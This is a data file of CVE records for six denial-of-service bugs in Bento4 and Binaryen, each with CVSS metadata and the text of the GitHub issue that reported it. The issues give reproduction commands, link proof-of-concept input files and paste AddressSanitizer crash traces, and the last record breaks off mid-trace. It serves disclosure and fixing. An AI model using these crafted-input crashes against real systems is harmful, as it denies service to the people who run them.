CVE-2019-7697	2019-02-10T22:29:00.327	An issue was discovered in Bento4 v1.5.1-627. There is an assertion failure in AP4_AtomListWriter::Action in Core/Ap4Atom.cpp, leading to a denial of service (program crash), as demonstrated by mp42hls.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/351" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:axiosys:bento4:1.5.1-627:::::::*", "matchCriteriaId": "F87642DF-B939-4195-A2AE-F0F1D39CD16D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/axiomatic-systems/Bento4/issues/351	[ "Exploit", "Third Party Advisory" ]	github.com	[ "axiomatic-systems", "Bento4" ]	Hi there, Multiple Assertion failed were discovered in AP4_AtomListWriter::Action(AP4_Atom ) in Ap4Atom.cpp Here are the POC files. Please use "./mp42hls $POC" to reproduce the error. [POC.zip](https://github.com/axiomatic-systems/Bento4/files/2719232/POC.zip) The output were shown as follow: ``` Bento4/Source/C++/Core/Ap4Atom.cpp:759: virtual AP4_Result AP4_AtomListWriter::Action(AP4_Atom ) const: Assertion `bytes_written <= atom->GetSize()' failed. Aborted (core dumped) ```	Multiple Assertion failed were discovered in AP4_AtomListWriter::Action(AP4_Atom *) in Ap4Atom.cpp	https://api.github.com/repos/axiomatic-systems/Bento4/issues/351/comments	3	2019-01-01T09:47:39Z	2019-07-24T08:35:38Z	https://github.com/axiomatic-systems/Bento4/issues/351	395,069,674	351
CVE-2019-7698	2019-02-10T22:29:00.373	An issue was discovered in AP4_Array<AP4_CttsTableEntry>::EnsureCapacity in Core/Ap4Array.h in Bento4 1.5.1-627. Crafted MP4 input triggers an attempt at excessive memory allocation, as demonstrated by mp42hls, a related issue to CVE-2018-20095.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/354" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:axiosys:bento4:1.5.1-627:::::::*", "matchCriteriaId": "F87642DF-B939-4195-A2AE-F0F1D39CD16D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/axiomatic-systems/Bento4/issues/354	[ "Exploit", "Third Party Advisory" ]	github.com	[ "axiomatic-systems", "Bento4" ]	Hi, there. I test the program at the master branch. ``` commit 5a0ce8023ea312a2d87c194049106e893ed57767 Merge: 91d2bc6 bab5bb9 Author: Gilles Boccon-Gibod <[email protected]> Date: Fri Dec 28 22:42:38 2018 -0800 Merge pull request #347 from orivej/apps Let Scons and CMake build all apps ``` An Out of Memory problem was discovered in function AP4_Array<AP4_CttsTableEntry>::EnsureCapacity in Ap4Array.h. The program tries to allocate with a large number size( 0x6eff83000 bytes) of memory. Please use the "./mp4dump $POC" to reproduce the bug. [POC.zip](https://github.com/axiomatic-systems/Bento4/files/2719261/POC.zip)	when running mp4dump, there is a out-of-memory problem in AP4_Array<AP4_CttsTableEntry>::EnsureCapacity in Ap4Array.h	https://api.github.com/repos/axiomatic-systems/Bento4/issues/354/comments	1	2019-01-01T10:46:25Z	2019-01-01T10:46:50Z	https://github.com/axiomatic-systems/Bento4/issues/354	395,072,870	354
CVE-2019-7699	2019-02-10T22:29:00.403	A heap-based buffer over-read occurs in AP4_BitStream::WriteBytes in Codecs/Ap4BitStream.cpp in Bento4 v1.5.1-627. Remote attackers could leverage this vulnerability to cause an exception via crafted mp4 input, which leads to a denial of service.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/355" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:axiosys:bento4:1.5.1-627:::::::*", "matchCriteriaId": "F87642DF-B939-4195-A2AE-F0F1D39CD16D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/axiomatic-systems/Bento4/issues/355	[ "Exploit", "Third Party Advisory" ]	github.com	[ "axiomatic-systems", "Bento4" ]	Hi, there. A Heap-buffer-overflow problem was discovered in function AP4_BitStream::WriteBytes(unsigned char const, unsigned int) in Ap4BitStream.cpp. A crafted input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "./avcinfo $POC" to reproduce the error. [POC.zip](https://github.com/axiomatic-systems/Bento4/files/2719284/POC.zip) ``` ================================================================= ==5498==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000eff4 at pc 0x0000004a817d bp 0x7ffddfab9910 sp 0x7ffddfab90c0 READ of size 8 at 0x60200000eff4 thread T0 #0 0x4a817c in __asan_memcpy (/Bento4/Build/avcinfo+0x4a817c) #1 0x4f90ab in AP4_BitStream::WriteBytes(unsigned char const, unsigned int) /Bento4/Source/C++/Codecs/Ap4BitStream.cpp:133:9 #2 0x4f4829 in PrintSliceInfo(unsigned char const) /Bento4/Source/C++/Apps/AvcInfo/AvcInfo.cpp:84:5 #3 0x4f40a3 in main /Bento4/Source/C++/Apps/AvcInfo/AvcInfo.cpp:171:21 #4 0x7f9e01e3982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291 #5 0x41e318 in _start (/Bento4/Build/avcinfo+0x41e318) 0x60200000eff4 is located 0 bytes to the right of 4-byte region [0x60200000eff0,0x60200000eff4) allocated by thread T0 here: #0 0x4efb90 in operator new[](unsigned long) (/Bento4/Build/avcinfo+0x4efb90) #1 0x51b622 in AP4_DataBuffer::ReallocateBuffer(unsigned int) /Bento4/Source/C++/Core/Ap4DataBuffer.cpp:210:28 #2 0x51bb39 in AP4_DataBuffer::SetDataSize(unsigned int) /Bento4/Source/C++/Core/Ap4DataBuffer.cpp:151:33 #3 0x4f786b in AP4_NalParser::Feed(void const, unsigned int, unsigned int&, AP4_DataBuffer const*&, bool) /Bento4/Source/C++/Codecs/Ap4NalParser.cpp:188:9 #4 0x4f39f5 in main /Bento4/Source/C++/Apps/AvcInfo/AvcInfo.cpp:150:22 #5 0x7f9e01e3982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291 SUMMARY: AddressSanitizer: heap-buffer-overflow (/Bento4/Build/avcinfo+0x4a817c) in __asan_memcpy Shadow bytes around the buggy address: 0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c047fff9df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[04]fa 0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==5498==ABORTING Aborted ``` $ git log ``` commit 5a0ce8023ea312a2d87c194049106e893ed57767 Merge: 91d2bc6 bab5bb9 Author: Gilles Boccon-Gibod <[email protected]> Date: Fri Dec 28 22:42:38 2018 -0800 Merge pull request #347 from orivej/apps Let Scons and CMake build all apps ```	When running avcinfo, a heap-buffer-overflow occur in function AP4_BitStream::WriteBytes in Ap4BitStream.cpp	https://api.github.com/repos/axiomatic-systems/Bento4/issues/355/comments	0	2019-01-01T11:33:09Z	2019-01-01T11:33:09Z	https://github.com/axiomatic-systems/Bento4/issues/355	395,075,442	355
CVE-2019-7700	2019-02-10T22:29:00.450	A heap-based buffer over-read was discovered in wasm::WasmBinaryBuilder::visitCall in wasm-binary.cpp in Binaryen 1.38.22. A crafted wasm input can cause a segmentation fault, leading to denial-of-service, as demonstrated by wasm-merge.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1864" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:webassembly:binaryen::::::::", "matchCriteriaId": "D2F4FEB1-4149-4952-8678-FC42E20FCE76", "versionEndExcluding": "64", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/WebAssembly/binaryen/issues/1864	[ "Exploit", "Patch", "Third Party Advisory" ]	github.com	[ "WebAssembly", "binaryen" ]	Hi, there. A Heap-buffer-overflow problem was discovered in function wasm::WasmBinaryBuilder::visitCall(wasm::Call) in wasm-binary.cpp in wasm. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "./wasm-merge $POC" to reproduce the error. [BOF.zip](https://github.com/WebAssembly/binaryen/files/2751979/BOF.zip) The ASAN dumps the stack trace as follows: ``` ================================================================= ==5194==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000001858 at pc 0x000000877201 bp 0x7ffd4b516d70 sp 0x7ffd4b516d68 READ of size 8 at 0x606000001858 thread T0 #0 0x877200 in wasm::WasmBinaryBuilder::visitCall(wasm::Call) /binaryen/src/wasm/wasm-binary.cpp:1954:12 #1 0x865f89 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression&) /binaryen/src/wasm/wasm-binary.cpp:1685:38 #2 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #3 0x86047c in wasm::WasmBinaryBuilder::readExpression() /binaryen/src/wasm/wasm-binary.cpp:1326:3 #4 0x83aee8 in wasm::WasmBinaryBuilder::readGlobals() /binaryen/src/wasm/wasm-binary.cpp:1344:18 #5 0x816f37 in wasm::WasmBinaryBuilder::read() /binaryen/src/wasm/wasm-binary.cpp:682:9 #6 0x912c7d in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:52:10 #7 0x915750 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:71:5 #8 0x60aa08 in main /binaryen/src/tools/wasm-merge.cpp:617:16 #9 0x7fadbeaf082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #10 0x508d58 in _start (/binaryen/build/bin/wasm-merge+0x508d58) Address 0x606000001858 is a wild pointer. SUMMARY: AddressSanitizer: heap-buffer-overflow /binaryen/src/wasm/wasm-binary.cpp:1954:12 in wasm::WasmBinaryBuilder::visitCall(wasm::Call) Shadow bytes around the buggy address: 0x0c0c7fff82b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff82c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff82d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff82e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff82f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c0c7fff8300: fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa 0x0c0c7fff8310: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==5194==ABORTING ``` $ git log ``` commit 45714b5fc6cf14c112bc4f188aca427464ab69d8 Author: Alon Zakai <[email protected]> Date: Thu Jan 10 19:31:20 2019 -0800 Compare binaryen fuzz-exec to JS VMs (#1856) The main fuzz_opt.py script compares JS VMs, and separately runs binaryen's fuzz-exec that compares the binaryen interpreter to itself (before and after opts). This PR lets us directly compare binaryen's interpreter output to JS VMs. This found a bunch of minor things we can do better on both sides, giving more fuzz coverage. To enable this, a bunch of tiny fixes were needed: * Add --fuzz-exec-before which is like --fuzz-exec but just runs the code before opts are run, instead of before and after. * Normalize double printing (so JS and C++ print comparable things). This includes negative zero in JS, which we never printed properly til now. * Various improvements to how we print fuzz-exec logging - remove unuseful things, and normalize the others across JS and C++. * Properly legalize the wasm when --emit-js-wrapper (i.e., we will run the code from JS), and use that in the JS wrapper code. ```	A Heap-buffer-overflow problem was discovered in function wasm::WasmBinaryBuilder::visitCall(wasm::Call*) in wasm-binary.cpp	https://api.github.com/repos/WebAssembly/binaryen/issues/1864/comments	1	2019-01-12T12:21:27Z	2019-01-15T17:10:48Z	https://github.com/WebAssembly/binaryen/issues/1864	398,549,495	1,864
CVE-2019-7701	2019-02-10T22:29:00.497	A heap-based buffer over-read was discovered in wasm::SExpressionParser::skipWhitespace() in wasm-s-parser.cpp in Binaryen 1.38.22. A crafted wasm input can cause a segmentation fault, leading to denial-of-service, as demonstrated by wasm2js.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1863" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:webassembly:binaryen::::::::", "matchCriteriaId": "D2F4FEB1-4149-4952-8678-FC42E20FCE76", "versionEndExcluding": "64", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/WebAssembly/binaryen/issues/1863	[ "Exploit", "Patch", "Third Party Advisory" ]	github.com	[ "WebAssembly", "binaryen" ]	Hi, there. A Heap-buffer-overflow problem was discovered in function wasm::SExpressionParser::skipWhitespace() in wasm-s-parser.cpp in wasm. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "./wasm2js $POC" to reproduce the error. [POC.zip](https://github.com/WebAssembly/binaryen/files/2751952/POC.zip) The ASAN dumps the stack trace as follows: ``` ================================================================= ==17910==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000001f7 at pc 0x00000188f694 bp 0x7ffed69f49b0 sp 0x7ffed69f49a8 READ of size 1 at 0x6020000001f7 thread T0 #0 0x188f693 in wasm::SExpressionParser::skipWhitespace() /binaryen/src/wasm/wasm-s-parser.cpp:175:20 #1 0x188b355 in wasm::SExpressionParser::parse() /binaryen/src/wasm/wasm-s-parser.cpp:121:5 #2 0x188aecf in wasm::SExpressionParser::SExpressionParser(char) /binaryen/src/wasm/wasm-s-parser.cpp:112:12 #3 0x64b1a6 in std::unique_ptr<wasm::SExpressionParser, std::default_delete<wasm::SExpressionParser> > wasm::make_unique<wasm::SExpressionParser, char>(char&&) /binaryen/src/support/utilities.h:58:35 #4 0x64b1a6 in main /binaryen/src/tools/wasm2js.cpp:87 #5 0x7f18ad0d782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #6 0x50ccb8 in _start (/binaryen/build/bin/wasm2js+0x50ccb8) 0x6020000001f7 is located 0 bytes to the right of 7-byte region [0x6020000001f0,0x6020000001f7) allocated by thread T0 here: #0 0x6051b0 in operator new(unsigned long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_new_delete.cc:92 #1 0x1b56f57 in __gnu_cxx::new_allocator<char>::allocate(unsigned long, void const) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/ext/new_allocator.h:111:27 #2 0x1b56f57 in std::allocator_traits<std::allocator<char> >::allocate(std::allocator<char>&, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/alloc_traits.h:436 #3 0x1b56f57 in std::_Vector_base<char, std::allocator<char> >::_M_allocate(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:172 #4 0x1b56f57 in std::_Vector_base<char, std::allocator<char> >::_M_create_storage(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:187 #5 0x1b56f57 in std::_Vector_base<char, std::allocator<char> >::_Vector_base(unsigned long, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:138 #6 0x1b56f57 in std::vector<char, std::allocator<char> >::vector(unsigned long, char const&, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:297 #7 0x1b56f57 in std::vector<char, std::allocator<char> > wasm::read_file<std::vector<char, std::allocator<char> > >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, wasm::Flags::BinaryOption, wasm::Flags::DebugOption) /binaryen/src/support/file.cpp:42 #8 0x64ae18 in main /binaryen/src/tools/wasm2js.cpp:85:11 #9 0x7f18ad0d782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: heap-buffer-overflow /binaryen/src/wasm/wasm-s-parser.cpp:175:20 in wasm::SExpressionParser::skipWhitespace() Shadow bytes around the buggy address: 0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff8000: fa fa fd fa fa fa fd fd fa fa 02 fa fa fa 00 fa 0x0c047fff8010: fa fa 06 fa fa fa 04 fa fa fa 00 02 fa fa 00 02 0x0c047fff8020: fa fa 06 fa fa fa 02 fa fa fa 02 fa fa fa 02 fa =>0x0c047fff8030: fa fa 04 fa fa fa 02 fa fa fa 02 fa fa fa[07]fa 0x0c047fff8040: fa fa 00 fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==17910==ABORTING ``` $ git log ``` commit 45714b5fc6cf14c112bc4f188aca427464ab69d8 Author: Alon Zakai <[email protected]> Date: Thu Jan 10 19:31:20 2019 -0800 Compare binaryen fuzz-exec to JS VMs (#1856) The main fuzz_opt.py script compares JS VMs, and separately runs binaryen's fuzz-exec that compares the binaryen interpreter to itself (before and after opts). This PR lets us directly compare binaryen's interpreter output to JS VMs. This found a bunch of minor things we can do better on both sides, giving more fuzz coverage. To enable this, a bunch of tiny fixes were needed: * Add --fuzz-exec-before which is like --fuzz-exec but just runs the code before opts are run, instead of before and after. * Normalize double printing (so JS and C++ print comparable things). This includes negative zero in JS, which we never printed properly til now. * Various improvements to how we print fuzz-exec logging - remove unuseful things, and normalize the others across JS and C++. * Properly legalize the wasm when --emit-js-wrapper (i.e., we will run the code from JS), and use that in the JS wrapper code. ```	A Heap-buffer-overflow problem was discovered in function wasm::SExpressionParser::skipWhitespace() in wasm-s-parser.cpp in wasm.	https://api.github.com/repos/WebAssembly/binaryen/issues/1863/comments	1	2019-01-12T11:46:51Z	2019-01-16T19:15:06Z	https://github.com/WebAssembly/binaryen/issues/1863	398,547,208	1,863
CVE-2019-7702	2019-02-10T22:29:00.560	A NULL pointer dereference was discovered in wasm::SExpressionWasmBuilder::parseExpression in wasm-s-parser.cpp in Binaryen 1.38.22. A crafted wasm input can cause a segmentation fault, leading to denial-of-service, as demonstrated by wasm-as.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1867" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:webassembly:binaryen::::::::", "matchCriteriaId": "D2F4FEB1-4149-4952-8678-FC42E20FCE76", "versionEndExcluding": "64", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/WebAssembly/binaryen/issues/1867	[ "Exploit", "Third Party Advisory" ]	github.com	[ "WebAssembly", "binaryen" ]	Hi, there. A Null pointer Deference problem was discovered in wasm::SExpressionWasmBuilder::parseExpression(wasm::Element&) in wasm-s-parser.cpp. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "`wasm-as $POC`" or "`wasm2js $POC`" to reproduce the problem. [POC.zip](https://github.com/WebAssembly/binaryen/files/2753041/POC.zip) The ASAN dumps the stack trace as follows: ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==7649==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000000d0 (pc 0x0000018d832f bp 0x7fffd64e9650 sp 0x7fffd64e9620 T0) ==7649==The signal is caused by a READ memory access. 